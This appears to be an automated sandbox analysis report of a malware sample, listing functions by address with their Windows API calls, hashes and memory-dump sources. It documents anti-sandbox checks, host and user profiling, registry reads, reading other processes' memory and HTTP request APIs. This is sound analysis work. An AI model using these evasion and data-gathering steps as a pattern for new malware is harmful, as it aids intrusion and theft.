API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID:
API String ID: 3532888709-0
Opcode ID: ea37f877b7fbbacf1c7384582398939b25ca2f08c2eb8411cf358fbfa571aba2
Instruction ID: ce1a30278e309acd82cb0f034ae0b6f31c77163877f1a26caa06769650f3ab39
Opcode Fuzzy Hash: ea37f877b7fbbacf1c7384582398939b25ca2f08c2eb8411cf358fbfa571aba2
Instruction Fuzzy Hash: C6510B70610208ABEB18FFA4DE95EED7775AF1030CF544018E8867A590EB347B45CFA9

Function 040B7337 Relevance: 9.1, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 040B7345

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

OpenProcess.KERNEL32(001FFFFF,00000000,040B7574,004205BD), ref: 040B7383
memset.MSVCRT ref: 040B73D1
??_V@YAXPAX@Z.MSVCRT(?), ref: 040B7525

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID:
API String ID: 224852652-0
Opcode ID: 1aeff6b0bc1cdda16161dcd1e0d48fd3adfd470a7707b0dabfde7a46d1ab6f7a
Instruction ID: 1241c14ee1f31fadc365b6fb90ab5e906a3a8f559e6ad298e695d39bef54af7f
Opcode Fuzzy Hash: 1aeff6b0bc1cdda16161dcd1e0d48fd3adfd470a7707b0dabfde7a46d1ab6f7a
Instruction Fuzzy Hash: 245161B0D00218DBDB14EB94DC84BEDB7B4AF44309F5085A9D14577181EB747A84CFAD

Function 040B4317 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 040B433C
RegOpenKeyExA.ADVAPI32(80000001,0064A4D8,00000000,00020119,?), ref: 040B435B
RegQueryValueExA.ADVAPI32(?,0064A0D4,00000000,00000000,00000000,000000FF), ref: 040B437F
RegCloseKey.ADVAPI32(?), ref: 040B4389
lstrcat.KERNEL32(?,00000000), ref: 040B43AE
lstrcat.KERNEL32(?,0064A168), ref: 040B43C2

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 5690b8b16156ff116e39c423b9c20f7378d9982cb7fd98343760b82f2f9cb978
Instruction ID: 7504596a76602f89fec6bbbd526ffb00169b60d402fb4e0f62f0ee2b7f5979b2
Opcode Fuzzy Hash: 5690b8b16156ff116e39c423b9c20f7378d9982cb7fd98343760b82f2f9cb978
Instruction Fuzzy Hash: 6D41A7B6D40108BBEB14FBE0DC45FEE737DAB89304F00855CA65567280EA756798CBE1

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.ADVAPI32(80000001,024EBF30,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,024ECD58,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,024ECD88), ref: 0041415B

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: fa8b58036ffac9d5281ddaf2101bc218c73992fb998376cc82465a095904cdcb
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: fa8b58036ffac9d5281ddaf2101bc218c73992fb998376cc82465a095904cdcb
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,024B6258,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 64ab5e27dc640e177239ea1b756d4cc1ada2d3f0f35c5ecd3cd97600b2ebe9e7
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: 64ab5e27dc640e177239ea1b756d4cc1ada2d3f0f35c5ecd3cd97600b2ebe9e7
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A130,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: b7f77734ebbf3840f36807ba88357d63e713c7e7dec9936b016044a468d43742
Instruction ID: 63863d844e937e4da23c5f373c227dc8c5909fe93770eb0c6870133be37feb4a
Opcode Fuzzy Hash: b7f77734ebbf3840f36807ba88357d63e713c7e7dec9936b016044a468d43742
Instruction Fuzzy Hash: 05314874900309DFDF109FA9C9452DEBAF1FF48314F10802BE454A6262CBB94891DFAE

Function 040B6C57 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A204), ref: 040B9B08
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A5C8), ref: 040B9B21
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A644), ref: 040B9B39
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A264), ref: 040B9B51
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A250), ref: 040B9B6A
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A2F8), ref: 040B9B82
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A4D4), ref: 040B9B9A
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A33C), ref: 040B9BB3
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A5A0), ref: 040B9BCB
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A548), ref: 040B9BE3
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A3BC), ref: 040B9BFC
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A2E8), ref: 040B9C14
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A60C), ref: 040B9C2C
Part of subcall function 040B9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A0B0), ref: 040B9C45

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040A1437: ExitProcess.KERNEL32 ref: 040A1478

Part of subcall function 040A13C7: GetSystemInfo.KERNEL32(?), ref: 040A13D1
Part of subcall function 040A13C7: ExitProcess.KERNEL32 ref: 040A13E5

Part of subcall function 040A1377: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 040A1392
Part of subcall function 040A1377: VirtualAllocExNuma.KERNEL32(00000000), ref: 040A1399
Part of subcall function 040A1377: ExitProcess.KERNEL32 ref: 040A13AA

Part of subcall function 040A1487: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 040A14A5
Part of subcall function 040A1487: __aulldiv.LIBCMT ref: 040A14BF
Part of subcall function 040A1487: __aulldiv.LIBCMT ref: 040A14CD
Part of subcall function 040A1487: ExitProcess.KERNEL32 ref: 040A14FB

Part of subcall function 040B69D7: GetUserDefaultLangID.KERNEL32 ref: 040B69DB

Part of subcall function 040A13F7: ExitProcess.KERNEL32 ref: 040A142D

Part of subcall function 040B7AB7: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,040A141E), ref: 040B7AE7
Part of subcall function 040B7AB7: RtlAllocateHeap.NTDLL(00000000), ref: 040B7AEE
Part of subcall function 040B7AB7: GetUserNameA.ADVAPI32(00000104,00000104), ref: 040B7B06

Part of subcall function 040B7B47: GetProcessHeap.KERNEL32(00000000,00000104), ref: 040B7B77
Part of subcall function 040B7B47: RtlAllocateHeap.NTDLL(00000000), ref: 040B7B7E
Part of subcall function 040B7B47: GetComputerNameA.KERNEL32(?,00000104), ref: 040B7B96

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0064A540,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 040B6D31
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 040B6D4F
CloseHandle.KERNEL32(00000000), ref: 040B6D60
Sleep.KERNEL32(00001770), ref: 040B6D6B
CloseHandle.KERNEL32(?,00000000,?,0064A540,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 040B6D81
ExitProcess.KERNEL32 ref: 040B6D89

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 8bfceb1ee71bfa1add3f5fc1feb3515e0baf2b6ad89577cb8e665fbf230e511d
Instruction ID: 0eeb0ca27772d2d5fd140d26254a6fea184fff4cc79e10b95dce74beb25e9b88
Opcode Fuzzy Hash: 8bfceb1ee71bfa1add3f5fc1feb3515e0baf2b6ad89577cb8e665fbf230e511d
Instruction Fuzzy Hash: 84312875A40208ABEB04FBF0DC54EFD7379AF5420CF540518A292B6190EF747A44CEAA

Function 040A9C27 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 040A9C53
GetFileSizeEx.KERNEL32(000000FF,?), ref: 040A9C78
LocalAlloc.KERNEL32(00000040,?), ref: 040A9C98
ReadFile.KERNEL32(000000FF,?,00000000,040A16F6,00000000), ref: 040A9CC1
LocalFree.KERNEL32(040A16F6), ref: 040A9CF7
CloseHandle.KERNEL32(000000FF), ref: 040A9D01

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction ID: 9a131ce33edba3811851c6aac971af703fed433491c241f9a8079dc5091a64e2
Opcode Fuzzy Hash: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction Fuzzy Hash: 4231F6B8A00209EFDB14CF94C885BEE77F6FB49305F108158E915A7290C778AA91CFA1

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 7104a1ad71f7267fb3f92d709a770ba7d5c34dd003ba373b3d6e6f2e7190c7f7
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: 7104a1ad71f7267fb3f92d709a770ba7d5c34dd003ba373b3d6e6f2e7190c7f7
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 040BCC45 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 040BCC51

Part of subcall function 040BC206: __getptd_noexit.LIBCMT ref: 040BC209
Part of subcall function 040BC206: __amsg_exit.LIBCMT ref: 040BC216

__amsg_exit.LIBCMT ref: 040BCC71
__lock.LIBCMT ref: 040BCC81
InterlockedDecrement.KERNEL32(?), ref: 040BCC9E
free.MSVCRT ref: 040BCCB1
InterlockedIncrement.KERNEL32(0042B980), ref: 040BCCC9

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 9842265763d25ebdd135a5071e54c4fa9195cc385294f2eefb115a4ad94e6967
Instruction ID: e2daf2b489476666efaeee63b3def1aa5041aed347a88961ed619fb87def5198
Opcode Fuzzy Hash: 9842265763d25ebdd135a5071e54c4fa9195cc385294f2eefb115a4ad94e6967
Instruction Fuzzy Hash: BF010031A04A24ABF762AB6894447DD73A0FF24718F10011ADCD4B7280CB347881DFDD

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 9cc761a24a700c336990656e08babd42fdc3626541d12aa0f7b86557c35da351
Instruction ID: 63787520114d18ae3399c837c16bfac6c494309a1b2e91ce42418771fe72ad0a
Opcode Fuzzy Hash: 9cc761a24a700c336990656e08babd42fdc3626541d12aa0f7b86557c35da351
Instruction Fuzzy Hash: DD01C431A817299BC722EB669C857DE77A0BF04794F11811BE814A7390C73C69D2CBDD

Function 040B7167 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 040B7186
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,040B7401,00000000,00420BA8,00000000,00000000), ref: 040B71B4

Part of subcall function 040B6E37: strlen.MSVCRT ref: 040B6E48
Part of subcall function 040B6E37: strlen.MSVCRT ref: 040B6E6C

VirtualQueryEx.KERNEL32(040B7574,00000000,?,0000001C), ref: 040B71F9
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,040B7401), ref: 040B731A

Part of subcall function 040B7047: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 040B705F

Strings

@, xrefs: 040B720D

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: b34be39c4df0fa904e9e00cc5214dea8e8f3e54fe8ec05e49f18684c9057a2b1
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 4651F6B1E04209EBDB04CF98D991AEFB7B6BF88700F148529F955B7240D734AA11CBA5

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 004069B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E2A), ref: 00406A19

Strings

*n@, xrefs: 00406B28, 00406BB6, 00406BBB, 00406B65
*n@, xrefs: 004069BD, 004069C9, 004069DC, 004069E5, 00406A09, 00406A32, 00406A35, 00406AEF, 00406B01, 00406B0D, 00406B16, 00406B93, 00406B49, 00406A4A, 00406A6D, 00406A79, 00406AA1, 00406AD1, 00406AE3, 00406AAD, 00406ABA, 00406A56

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *n@$*n@
API String ID: 1029625771-193229609
Opcode ID: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction ID: a280f62563b1b8af23ece619f3fba2aedbd92eaccb2561d1aa32790852693925
Opcode Fuzzy Hash: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction Fuzzy Hash: DA71C874A00119DFCB04CF48C484BEAB7B2FB88315F158179E80AAF391D739AA91CB95

Function 040B49E7 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0064A30C), ref: 040B4A42

Part of subcall function 040B9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 040B9072

lstrcat.KERNEL32(?,00000000), ref: 040B4A68
lstrcat.KERNEL32(?,?), ref: 040B4A87
lstrcat.KERNEL32(?,?), ref: 040B4A9B
lstrcat.KERNEL32(?,0064A284), ref: 040B4AAE
lstrcat.KERNEL32(?,?), ref: 040B4AC2
lstrcat.KERNEL32(?,0064A2C8), ref: 040B4AD6

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040B8FF7: GetFileAttributesA.KERNEL32(00000000,?,040A1DBB,?,?,00425654,?,?,00420E1F), ref: 040B9006

Part of subcall function 040B47D7: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 040B47E7
Part of subcall function 040B47D7: RtlAllocateHeap.NTDLL(00000000), ref: 040B47EE
Part of subcall function 040B47D7: wsprintfA.USER32 ref: 040B480D
Part of subcall function 040B47D7: FindFirstFileA.KERNEL32(?,?), ref: 040B4824

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 78345fe715bd3a89254a4c2b5c0583ef77495b8e9b9ae479ef4891d8c2e90729
Instruction ID: 9f322ab57d54b3dcde37b8cd9d0c52e818b36a5a99c3d7d86014dd4b14a57d39
Opcode Fuzzy Hash: 78345fe715bd3a89254a4c2b5c0583ef77495b8e9b9ae479ef4891d8c2e90729
Instruction Fuzzy Hash: CC3166B6940208ABDB14F7F0CC84EED737DAB58708F4045C9A785A6090DE74A789CFD9

Function 00412C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

